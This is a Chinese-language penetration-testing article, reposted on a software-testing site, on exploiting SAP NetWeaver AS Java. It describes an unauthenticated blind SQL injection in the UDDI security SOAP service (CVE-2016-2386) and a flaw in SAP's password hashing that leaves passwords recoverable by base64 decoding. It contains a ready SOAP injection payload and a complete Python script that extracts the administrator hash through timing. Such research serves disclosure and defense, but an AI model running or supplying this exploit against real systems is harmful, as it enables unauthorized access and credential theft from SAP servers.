进阶版的SAP 渗透测试:漏洞搜索的范围

发表于:2018-1-31 15:13

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:change    来源:嘶吼

  SAP 的SQL注入
  在对匿名servlet中的漏洞进行搜索过程中,我们发现了一个功能组件 tc~uddi。该组件中有三种服务。
   
  其中最有趣的是C:usrsapDM0J00j2eeclusterappssap.comtc~uddiservlet_jspUDDISecurityService。
  如果我们打开保存在C:usrsapDM0J00j2eeclusterappssap.comtc~uddiservlet_jspUDDISecurityServicerootWEB-INFweb.xml中的配置文件,我们将看到如下图所示的内容。 
  “servlet-class”字段表明该servlet使用SOAP的方法传输和接收数据,并且该servlet被叫做UDDISecurityImplBean。当在浏览器中打开地址
  http://nw74:50000/UDDISecurityService/UDDISecurityImplBean时,显示以下信息:
  
  UDDISecurityImplBean servlet不接受GET请求,并且它足以将“?wsdl”键添加到URL,以便
  理解发送哪一个POST请求。在这里,我们得到了UDDI Security Service(安全服务)的wsdl描述。 
  要将一个wsdl文件转换成soap请求,我们可以使用带有wsdl扩展名的burp。
  当我们向SAP服务器发送一个SOAP请求,然后调用带有permissionId参数的deletePermissionById函数时,我们可以看到服务器发送一个请求,然后用200个代码进行响应。
  
  这意味着服务器已经成功地处理了请求。为了理解在程序中构建了什么逻辑,我们需要在服务器上找到源代码。组件的根目录C:usrsapDM0J00j2eeclusterappssap.comtc~uddi是这样的:
   
  EJBContainer文件夹通常存储在组件上下文中使用的JAR文件。这一次,服务器有一个JAR文件,该JAR文件有以下路径:C:usrsapDM0J00j2eeclusterappssap.comtc~uddiEJBContainerapplicationjarstc~esi~uddi~server~ejb~ejbm.jar.。
  要获得Java程序的源代码,只需使用JD-GUI 反编译器。一旦打开该jar文件,该程序中实现的类就会显示出来:
  
  非常明显,在程序中有UDDISecurityBean、AppluPermission和DeletePermissionById类。让我们来分析一下UDDISecurityBean类:
   
  在这里,它表示deletePermissionById的实现,以及applyPermission函数在PermissionsDao中得到了描述。
  
  这是一种典型的SQL注入,不需要进行身份验证。让我们在SOAP请求中发送我们最喜欢的引号,看看我们会得到什么响应。
  
  响应中没有出现错误,现在让我们看看日志数据库中是什么,以及最后一个条目是什么。
  在默认情况下,SAP程序的所有日志都存储在C:usrsapDM0J00j2eeclusterserver0log,而数据库的日志文件存储在C:usrsapDM0J00j2eeclusterserver0logsystemdatabase_00.0.log。
  
  所有内容都得到了确认,现在我们已经在SAP NetWeaver AS Java中进行了SQL注入。因此,为了攻击SAP系统,有必要从数据库中获取管理员密码散列或任意其他用户的一个密码散列。现在我们采取下一步行动。即使我们有一个密码散列,我们如何对其进行解密呢?
  加密问题
  为了使用SQL注入获取密码,首先,我们需要知道哪个表存储密码。由于我的数据库是Sybase ASE,为了连接到该数据,我们可以用标准的isql实用程序。
  为了在控制台模式下连接到数据库,我们打开一个命令行窗口并运行以下命令:
  
  我们有带有DM0 SID的SAP服务器,并且后面会用到数据库DM0。
 
  根据SAP文档,SAP AS Java用户密码存储在UME_STRINGS表中的用户管理引擎(UME)中。在UME_STRINGS表中有两个主要字段:PID和VAL。PID字段保存Administrator ID,而VAL保存密码并用SHA作为前缀进行加密。
  结果表明,该请求如下:SELECT PID、 VAL FROM SAPSR3DB.UME_STRINGS WHERE PID LIKE ‘%Administrator%’ and VAL LIKE ‘%SHA%’
  以下是程序操作的结果:
 
  PID是 UACC.PRIVATE_DATASOURCE.un:Administrator
  VAL是{SHA-512, 10000, 24}MTIzUVdFYXNk88FxuYamodVV2ycvIqBU80lPPUD8twAOhZ/AUSezf4Reou4uFpqth9lDpefHZ1JOuzfILlHYQv4LhheyzoQMAng5pOkvHz5bZXJ+tiSGpsyrju3UtBkmRQ==
  很容易猜测,这里使用的SHA-512哈希表被计算了1万次。有人可能会说,它阻碍了那些试图强力破解该散列的人,但在这里没有。 
  下面是我们通过解码base64得到的。
  结果是SAP犯了一个错误,密码以base64保存是不安全的。但是,在这种关键的地方,怎么会没有注意到这个错误呢?
  经过几个小时的研究,我终于找到了负责加密和密码存储的函数。该JAR文件对密码的有效性进行加密和检查:
  C:usrsapDM0J00j2eeclusterbinextcom.sap.security.core.sdalibprivatesap.com~tc~sec~ume~core~impl.jar
  为了在该文件中找到必要的类,在JD-GUI中查找数据“SHA-512”已经足够。 
  完成了。发现了PasswordHash.class。
  在该类中,正有我们所需要的。
   
  该类的主函数可以很方便地理解哈希函数是如何工作的。
   
  首先,它是PasswordHash类的初始化。
   
  其次,调用了函数 .getHash(); 。
   
  从87到113的行表示变量正在被检查和初始化,第114行表示对createHashWithIterations函数的调用,该调用需要一个24个字符长度的数据集。为了证明该特性,我们将在调试器中为其编写一个包装器,并查看发送了哪些数据。
  下面是负责在SAP中对密码进行散列操作的类的完整代码,让我们运行它,并看看它是如何工作的。
   
  我们选择了一个asdQWE123组合作为密码。
  值得注意的是,在createHashWithIteractions函数中,对2个特殊参数进行初始化。它们分别是“output”和“pass_n_salt”,它们被传输到最终的哈希函数,hashWithIteractions。
  
  下面提供了关于hashWithIteractions函数的更多细节。
   
  该键执行的与哈希操作相关的所有工作都在40-45行中显示。框图说明了这些行进行的工作。
   
  很明显,从流程图中便能发现开发人员犯了一个错误,并错误地使用了哈希函数。他们使用salt代替密码,当哈希操作在9999循环中执行时,salt(密码)被添加到一个“output”变量的开头。该循环完成了它的工作,密码仍然保存在明文text.QED中。
  现在,我们将回到SQL注入,并自动化从数据库获取密码的过程。
  SAP 渗透-开发
  对于SQL注入的开发,可以使用下面我们新获得的知识:
  - SQL注入是盲目的。
  - SQL不支持像SLEEP这样的函数调用,只支持SELECT。
  - 散列存储在VAL字段中的UME_STRINGS中,并且PID字段存储一个值。
  PRIVATE_DATASOURCE.un:Administrator的Administrator是用户登录,其用户名可以不同,例如,j2ee_admin、admin。
  我们一步一步地解决这些问题。
  由于SQL注入是盲的,所以我们需要找到VAL值。事实证明,主查询有以下形式:
  select VAL from UME_STRINGS where UME_STRINGS.PID like '%PRIVATE_DATASOURCE.un:Administrator%' and UME_STRINGS.VAL like '%SHA-512%'
  由于连接器不支持SLEEP函数或其他用于将SQL盲注变成基于时间的函数,所以我找到了一个存储大数据的表。
  SQL数据库被要求使用一个有效的VAL值,发出一个延迟的请求,我决定使用表的乘法来在服务器上创建一个弱的1秒负载。这个表被称为J2EE_CONFIGENTRY,而转换后的查询如下:
  select COUNT(*) from SAPSR3DB.J2EE_CONFIGENTRY,SAPSR3DB.UME_STRINGS where UME_STRINGS.PID like '%PRIVATE_DATASOURCE.un:Administrator%' and UME_STRINGS.VAL like '%SHA-512%'
  下面是两个查询。我在第一个问题上故意犯了一个错误,该查询花费了15毫秒,而第二个查询则花费了321毫秒。

   
  如你所见,可以将此查询自动化,以便从数据库中检索散列数据。
  SAP渗透 -自动化
  对于自动化,我们有以下基本的查询:
  POST /UDDISecurityService/UDDISecurityImplBean HTTP/1.1
   User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
   SOAPAction:
   Content-Type: text/xml;charset=UTF-8
   Host: nw74:50000
   Content-Length: 500
   
  <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:sec="http://sap.com/esi/uddi/ejb/security/">
     <soapenv:Header/>
     <soapenv:Body>
       <sec:deletePermissionById>
         <permissionId>1' AND 1=(select COUNT(*) from SAPSR3DB.J2EE_CONFIGENTRY,SAPSR3DB.UME_STRINGS where UME_STRINGS.PID like '%PRIVATE_DATASOURCE.un:Administrator%' and UME_STRINGS.VAL like '%SHA-512%') AND '1'='1</permissionId>
       </sec:deletePermissionById>
     </soapenv:Body>
   </soapenv:Envelope>
  散列可能由以下字符组成:0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
  只要密码散列是salt,它的长度是24个字符,我们只需要以base64格式获得散列的第一个24*3字符。
  查看完整的Python代码,用于在下一页中提取散列。
  import string, requests, argparse
   
  _magic = "{SHA-512, 10000, 24}"
  _wrong_magic = "{SHA-511, 10000, 24}"
  _xml = "<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:sec="http://sap.com/esi/uddi/ejb/security/">rn  <soapenv:Header/>rn  <soapenv:Body>rn    <sec:deletePermissionById>rn      <permissionId>1' AND 1=(select COUNT(*) from SAPSR3DB.J2EE_CONFIGENTRY,SAPSR3DB.UME_STRINGS where UME_STRINGS.PID like '%PRIVATE_DATASOURCE.un:Administrator%' and UME_STRINGS.VAL like '%{0}%') AND '1'='1</permissionId>rn    </sec:deletePermissionById>rn  </soapenv:Body>rn</soapenv:Envelope>"
  host = ""
  port = 0
  _dictionary =  string.digits + string.uppercase + string.lowercase
   
  def _get_timeout(_data):
      return requests.post("http://{0}:{1}/UDDISecurityService/UDDISecurityImplBean".format(host,port),
                headers={
                    "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0",
                    "SOAPAction": "",
                    "Content-Type": "text/xml;charset=UTF-8"
                      },
                data=_xml.format(_data)).elapsed.total_seconds()
   
   
  if __name__ == "__main__":
      parser = argparse.ArgumentParser()
      parser.add_argument('--host')
      parser.add_argument('--port')
      parser.add_argument('-v')
   
      args = parser.parse_args()
      args_dict = vars(args)
   
      host = args_dict['host']
      port = args_dict['port']
   
      print "start to retrieve data from the table UMS_STRINGS from {0} server using CVE-2016-2386 exploit ".format(host)
      hash = _magic
      print "this may take a few minutes"
      for i in range(24):
          for _char in _dictionary:
              if  not (args_dict['v'] is None):
                  print "checking {0}".format(hash +_char)
              if _get_timeout(hash +_char)>1.300:
                  hash += _char
                  print "Found " + hash
                  break
  因此,我们得到以下的价值:
   
  如果我们执行base64解码,我们将得到纯文本的密码。
   


32/3<123>
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号